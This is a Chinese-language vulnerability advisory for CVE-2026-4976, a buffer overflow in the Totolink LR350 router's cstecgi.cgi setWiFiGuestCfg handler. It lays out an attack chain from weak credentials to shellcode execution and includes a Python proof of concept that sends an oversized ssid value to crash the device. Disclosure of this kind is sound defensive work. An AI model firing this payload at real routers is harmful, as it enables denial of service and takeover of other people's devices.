IPBUF安全漏洞报告
English
CVE-2026-4976 CVSS 8.8 高危

CVE-2026-4976 Totolink LR350缓冲区溢出漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-4976
漏洞类型
缓冲区溢出
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Totolink LR350

相关标签

缓冲区溢出远程代码执行TotolinkIoT安全路由器漏洞

漏洞概述

Totolink LR350路由器9.3.5u.6369_B20220309版本存在缓冲区溢出漏洞。该漏洞位于/cstecgi.cgi的setWiFiGuestCfg函数中,由于未正确处理ssid参数,攻击者可利用低权限账户远程发起攻击,导致设备面临极高的安全风险。

技术细节

该漏洞的根源在于Totolink LR350路由器固件中的/cgi-bin/cstecgi.cgi程序。在处理setWiFiGuestCfg功能时,程序未对用户输入的ssid参数长度进行有效验证,直接将其拷贝至栈缓冲区。攻击者可通过构造包含超长恶意数据的POST请求发送至目标接口。由于CVSS向量显示攻击需低权限(PR:L),攻击者通常需先获取低级用户权限,随后利用此漏洞覆盖返回地址,实现远程代码执行或导致设备拒绝服务。

攻击链分析

STEP 1
侦察
攻击者扫描网络,识别目标Totolink LR350路由器及其Web管理接口。
STEP 2
获取凭证
利用弱口令或默认凭证获取路由器的低权限用户登录状态(PR:L)。
STEP 3
漏洞利用
向/cgi-bin/cstecgi.cgi发送特制的POST请求,在ssid参数中填充超长恶意数据以触发缓冲区溢出。
STEP 4
执行载荷
控制程序执行流,注入并执行恶意Shellcode,获取设备最高权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_ip): # Target endpoint url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" # Headers headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } # Vulnerable payload: Buffer overflow in 'ssid' parameter # 'A' * 500 is used to trigger the crash/overflow payload_data = { "function": "setWiFiGuestCfg", "ssid": "A" * 500 } try: # Send the malicious request response = requests.post(url, headers=headers, data=payload_data, timeout=10) print(f"[+] Request sent to {url}") print(f"[+] Status Code: {response.status_code}") # Check if service is down (potential DoS) or behavior changed except requests.exceptions.RequestException as e: print(f"[-] Exploit failed or service crashed: {e}") if __name__ == "__main__": import sys if len(sys.argv) != 2: print("Usage: python poc.py <target_ip>") else: exploit(sys.argv[1])

影响范围

Totolink LR350 9.3.5u.6369_B20220309

防御指南

临时缓解措施
若无法立即升级,请将路由器Web管理界面仅允许内网特定IP访问,并密切关注设备异常流量与状态。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表